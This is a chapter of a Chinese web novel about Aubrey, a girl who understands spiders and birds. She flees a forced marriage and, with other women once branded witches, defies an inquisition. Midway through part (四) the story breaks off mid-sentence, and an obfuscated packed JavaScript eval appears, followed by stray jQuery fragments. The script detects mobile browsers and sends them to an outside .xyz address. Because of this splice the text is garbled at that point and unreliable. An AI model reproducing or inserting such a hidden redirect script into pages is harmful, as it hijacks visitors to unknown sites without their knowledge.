42.第三种语言

作品:《她还在歌唱

    (一)


    烛火在潮湿的空气中摇曳。


    奥布里蜷缩在角落里,指尖还沾着泥水,在一块陶片上刻下今天蜘蛛教给她的符号。


    “奥布里!”


    地窖门被猛地踹开,父亲的靴底踏在台阶上,发出阵阵闷响。


    “我就知道你躲在这里!”


    陶片从她手中滑落,在石板上摔成两半。


    父亲的脚碾了上来,那些珍贵的符号在他的靴底化作齑粉。


    “这又是什么鬼画符?”他抓起另一块刻满网状图案的泥板,“镇长的女儿今天在学插花,你呢?和虫子说话?”


    奥布里抬头,看见父亲背后悬着一只蜘蛛,正用丝线急速编织着什么。


    “蜘蛛说这些符号能预言旱灾,”她轻声说,“它们发现蚂蚁在往更深的地下搬家……”


    一个纺锤被扔到脚边,打断了她的话。


    “预言是祭司的事!今晚织不完这些布,我就把你养的那些虫子全喂鸡。”


    深夜,奥布里在纺车旁昏昏欲睡时,一只蜘蛛垂到她眼前,用丝线织出一个字——


    逃。


    翌日清晨,村庄的麦田突然被蛙群占领,它们嘶哑的歌声清晰地传入奥布里耳中。


    她想走向那片麦田,却被牧师拦住了去路。


    “就是这个女巫!”牧师举着一张纸大喊,“她用蛙鸣咒语毁了我们的麦子!”


    纸上是她画下的农田观察图,此刻却成了罪证。


    父亲在一旁冷笑,他的眼睛因宿醉布满血丝,却闪烁着某种精明的光芒:“既然你这么喜欢和低等生物交流,明天就嫁给屠夫,用生育来赎罪吧。”


    奥布里静默地看着眼前的人,她知道父亲早在安排此事。


    上周,她听见父亲和屠夫在院子里讨价还价,只要牺牲女儿,他就能得到去往城市的资金。


    在人群的喧闹声中,她感觉有什么冰凉的东西爬上了自己的的脚踝——


    是昨晚的蜘蛛,它正以极快的速度爬上她的裤腿,在她脚边留下一串几乎不可察觉的震动。


    奥布里突然想起昨晚的那个“逃”字。


    (二)


    新婚当夜,屠夫正准备撕开奥布里的亚麻衣襟,一枚纺针转瞬间便抵上了他的眼睑。


    针尖在烛光下泛着冷光,她一直将其藏在袖口。


    “小贱人你——”


    没有任何犹豫,纺针扎进了他的眼球。


    屠夫的嚎叫声震落了屋顶的灰尘。


    他踉跄后退,捂住流血的眼睛,另一只手胡乱抓向她的头发,奥布里迅速抓起桌上的酒杯,用力砸向他的脑袋。


    男人吃痛倒下,她趁机撕开裙摆,径直冲向门外。


    屋外正下着大雨,冰冷的雨水打湿了她的头发,顺着她的脸颊滑落,混合着腥臭的血水。


    她跑过泥泞的村道,穿过麦田,直到镇子里零星的灯火消失在身后。


    女孩跌跌撞撞地冲进一片灌木丛,不受控地撞上一张巨大的蛛网——一张由露珠缀着的文字组成的大网。


    不远处传来一阵窸窣声。


    奥布里屏住呼吸,只见一双树根般的手拨开了蛛网。


    “看我发现了什么,能听见生灵密语的小预言家。”


    一个满面皱纹的老人正低笑着看向自己。


    “你是谁?”


    鬼使神差地,她朝眼前的人伸出手。


    “我?我叫玛尔娃,”名为玛尔娃的老人继续笑道,"是一个能听懂第三种语言的人。”


    “……第三种语言?”


    没有立即回答,老人牵起奥布里的手,拂落了她手心的泥尘。


    “迷途的孩子,玛尔娃的图书馆欢迎过路的女人。”


    静默地跟着这个陌生的老人前行,直觉告诉女孩,眼前人并非险恶之徒。


    很快,她便看到了明亮的火光。


    直到走入屋内,奥布里才意识到,此处真是一个由树屋改造的书籍收纳室。


    层层书架沿着树壁攀缘而上,每层都挂满用蛛丝装订的书卷。


    她踩上吱呀作响的台阶,惊奇地看到,所谓台阶其实是无数本布满尘埃的《圣经》,书脊上坐着正在纺线的木头小人。


    “这是你曾祖母的作品,”玛尔娃眨了眨眼,瞳孔中倒映着烛火的光芒,“她用忏悔室的雕花做了这些自动纺纱机。”


    最高处的平台上,一张由蜘蛛编织的吊床正在微风中摇晃。


    玛尔娃掀开充当被子的树叶毯,露出下面发光的文字。


    成千上万只萤火虫被在蛛网中飞舞,组成一幅闪烁的、流动的谱系。


    奥布里怔怔地望着这些图谱,一时竟说不出话。


    “看这里,”玛尔娃的指甲划过某个突然暗淡的光点,“你祖母艾娃能用蒲公英预言灾祸,而他们把她绑在蒲公英丛里,说她与风私通。”


    奥布里不禁伸手,触及光点时,萤火虫同时散开。


    它们在屋顶重新排列,拼出一幅新的画面:穿修士袍的人们正在审判一个女人。


    “这是你姑姑玛格丽特——她能解读马群的语言,审判官却说她与牲畜交合,多巧妙啊,他们总是用性来给女人冠以污名。”


    多奇怪啊,他们总是把自己的恐惧打造成约束的标准。


    月光穿过树梢,在地上投下清晰的光影,这些影子仿佛在不断流动。


    “现在该你了,”玛尔娃转头,重新看向不远处的女孩,“撕下你的头纱,我们来听些真正的声音。”


    当奥布里开始用头纱编织绳结时,树洞里所有的蜘蛛突然震动起蛛网。


    不知过了多久,直到清晨的第一缕光照进屋内,她看见自己编出的绳结与蛛网在风中相撞。


    不是错觉,她听见了细微的声响,宛如私语。


    “她们在叫你,”玛尔娃解释道,“你能听见人言,能听见动物密语,但这还不够。”


    一只夜莺落在树梢上,向奥布里发出邀请。


    跨出木屋时,门口的蜘蛛垂下一根丝线,轻轻缠在她的小指上。


    像命运的牵引。


    (三)


    一路跟随着夜莺,奥布里来到森林深处的某片废墟。


    她看见废墟深处围坐着一群女人,她们环绕在一起,正用陶片敲击碎瓦。


    “咚——咚——”


    夜莺突然飞到她肩上,唱起陌生的歌谣。


    奥布里的耳膜一阵刺痛。


    女人们停下手中的动作,不断朝奥布里眨着眼睛。


    女孩渐渐看懂,她们在用睫毛振动的频率传递信息,不知为何,她似乎能看出她们表达的含义——是过去记录的审判官罪行。


    天空突然乌云密布,淅淅沥沥的雨落在这片废墟上,离她最近的女人牵起她的手。


    手心交叠的那一刻,奥布里看见剩下的女人逐渐消散,化作阳光下的尘土,仿佛一切只是她途经的幻梦。


    不,这不是幻觉。


    场景开始变换,眼前升起一座座无名坟冢。


    头顶的雨不知何时变大了,雨水冲开浅层泥土,露出其中的森森白骨。


    如同受到指引般,奥布里将手掌贴上去,忽觉指尖刺痛。


    “你们在说什么,我听不懂……”颤抖着捧起最先挖到的头骨,她在暴雨中喃喃。


    雨滴从空洞的眼窝中穿过,在其中敲击出奇特的声调。


    “咚——咚——”


    正是她先前见过的节奏。


    泥土中又浮出几段骨节,纷纷排列成“疯癫”、“□□”、“叛徒”、“恶魔的情妇”……


    奥布里突然明白,这些都是写在女巫判决书上的罪名。


    “疯癫”是因产后抑郁被锁在阁楼的母亲,“□□”是拒绝再嫁的寡妇,“叛徒”是不愿承担无偿家务的主妇,“恶魔的情妇”是懂得草药学的医者……


    她颤抖着挖开更深的泥土,直到指尖碰到某个坚硬的东西。


    那是一块陶片,早在那片废墟里便见过,直到现在,她才看清上面遍布的文字。


    是数百年来,无数个“她们”都在秘密传承的记忆。


    在这场暴雨中,她终于听懂了第三种语言——


    来自过去那静默又激烈的控诉。


    泥土中挖出的陶片越来越多,渐渐在女孩脚下蜿蜒成一道阶梯,指向森林外的世界。


    (四)


    这天起,奥布里开始与玛尔娃一同织布,她们将纺出的红丝放在蜘蛛的卵液里翻滚。


    “红结要打在离布边三指宽处。”玛尔娃的指尖示范着打结手法,编出的绳结形状像极了蜘蛛腹部的斑纹。


    奥布里突然抓住玛尔娃的手腕。


    外边传来阵阵敲击声,是审判官们提前到来的信号。


    “听说,城里的女人用织布花样宣传恶行?”


    搜查者的火把照亮门缝,审判官的副手径直踏入屋内,用刀尖挑起一块绣着花的餐布。


    “大人,这只是最普通的花纹,不信你看。”奥布里抬起脑袋,露出恰到好处的、乖顺的神情。


    男人们嗤笑着离去后,她们才拿出藏在酒桶中的布匹。


    这日之后,新织的红色披肩在数个城乡的女人们肩头传递。


    一年一度的审判日很快到来,在这个重要的日子里,人们将赎尽过去一年的罪孽。


    跟随着源源不断的人群,奥布里来到了镇上的广场


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15926041|171410||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    主教举起镀金圣杯时,第一声喷嚏从忏悔室后面响起,老裁缝的女儿用手帕捂住脸。


    “阿嚏!”站在第三排的磨坊主也打了个喷嚏,她抖开看似普通的披肩,内衬的蛛丝纹样边正系着一串红结,在晨光下闪着奇异的光彩。


    高台上的主教没有注意到底下的怪异,他仍念诵着“要沉静学道”的劝诫。


    人群中的奥布里在此刻解开了自己的披肩,丢进不远处的喷泉里。


    布料浸入水中的瞬间,水面浮起了不间断的文字,水波借着阳光将文字映照在审判台上,每个字符都在石砖上流动。


    清晰可见。


    "妖术!"主教瞪大了双眼。


    审判官冲向奥布里时,他那身繁复法袍上的金丝刺绣突然自行拆解。


    宛若活过来般,无数线头汇聚成蛛网的形状,将他捆缚在原地不得动弹。


    最年长的工人突然撕开自己的披肩,人们看到她的胸前系着一串红结,上面绣着完整的被剥削证词。


    此刻,数位同样带着证词的女人解开披肩,让阳光穿透她们的衣衫。


    “没用的废物,还不抓住她们!”审判官无力地吼道,却被丝线绞得更紧。


    卫兵试图抓住奥布里的手腕,但无论如何也碰不到,她的皮肤竟变得透明。


    奥布里也看清了眼前面目狰狞的男人,正是那个出卖自己换取机会的生父。


    “奥布里——乖乖束手就擒!主教还能饶你一命!”


    没有回应他,女孩短暂一瞥后便移开了视线,她看向不远处手牵手站在一起的人群,突然笑了——


    “你们知道第三种语言吗?”


    广场在此时震动起来,石砖的缝隙里钻出新的芽尖,每一株都顶着陶片生长。


    “第三种语言,是仍在呼吸的我们。”


    男人惊恐地发现,奥布里血管里流淌的不再是血液,而是无数微小的文字。


    那些被焚烧过的字符,已经在她体内重组成全新的篇章。


    所有女人同时眨了眨眼,如过去传递暗语的模样。


    现在,她们在阳光下。


    (五)


    审判官被蛛丝吊死的那夜,妇女议会正式进行第一次集会。


    玛尔娃用果汁在羊皮纸上画出新政的架构图——那是一张巨大的蛛网,每个节点都缀着露水写的名字。


    “王座已经准备好了,如果你需要的话。”她捧出用织布机零件熔铸的铁冠,冠冕上缠绕着活蜘蛛丝,像某种流淌的银河。


    奥布里却走向最潮湿的角落。


    她撬起一块长满青苔的石砖,露出下面埋着的陶罐。


    罐中是一张羊皮卷,上面画着流动的女人们,她们连成了没有尽头的波浪。


    “我听说,东海的渔民会把风暴预警编进渔网结节。”


    指尖抚过手心的卷轴,她轻声笑了。


    “我打算去亲眼看看。”


    她不想停下脚步,也不想变成新的高墙。


    晨光降临时,奥布里最后检查了行囊:一包用墓土保存的蜘蛛卵,以及一根红色的绳结。


    在她身后,城门缓缓关闭。


    而前方的道路上,无数个她正从泥土中抬起头。


    (六)


    二十年后的深秋,一个须发斑白的流浪汉蜷缩在市集角落。


    他浑浊的眼珠倒映着眼前的画面——


    卖苹果的姑娘指尖在箩筐边缘轻叩,像在敲击某种无形的鼓点,对面的女人听着节奏,从怀里拿出三枚铜钱。


    她们相视一笑,就这样完成了他听不懂的交易。


    “疯子……一群疯子……”流浪汉啃咬着自己皲裂的指甲,似乎这样就能缓解自己的焦灼。


    远处传来一阵清越的童声。


    孩童们围坐在一起,共同传阅一块沾着泥渍的陶板,上面刻着他女儿曾在地窖偷偷描绘的符号。


    为首的女孩正用炭笔在一旁注解道:“此处记载着我们的朋友如何用月亮周期计算播种时间——”


    “那分明是巫术!”流浪汉突然嘶吼着冲过去,“是魔鬼的——”


    他嘶哑的音调哽在喉间,因为孩童们齐刷刷转过头,他清楚地看见,每个人眼角都画着一枚小小的蜘蛛图案。


    胸中传来一阵恐惧的闷响,他转身逃向城外的森林。


    腐叶淹没膝盖,他仿佛听见了风掠过树梢的声音,那些悬挂的绳结相互碰撞,发出类似女人低笑的沙沙声。


    当第一片雪花落在流浪汉僵硬的眼珠上时,森林的另一端,一个披着网纹斗篷的身影刚跨过结冰的溪流。


    她的靴底还沾着陈旧的泥土,而新的生机正在这片土地上萌芽。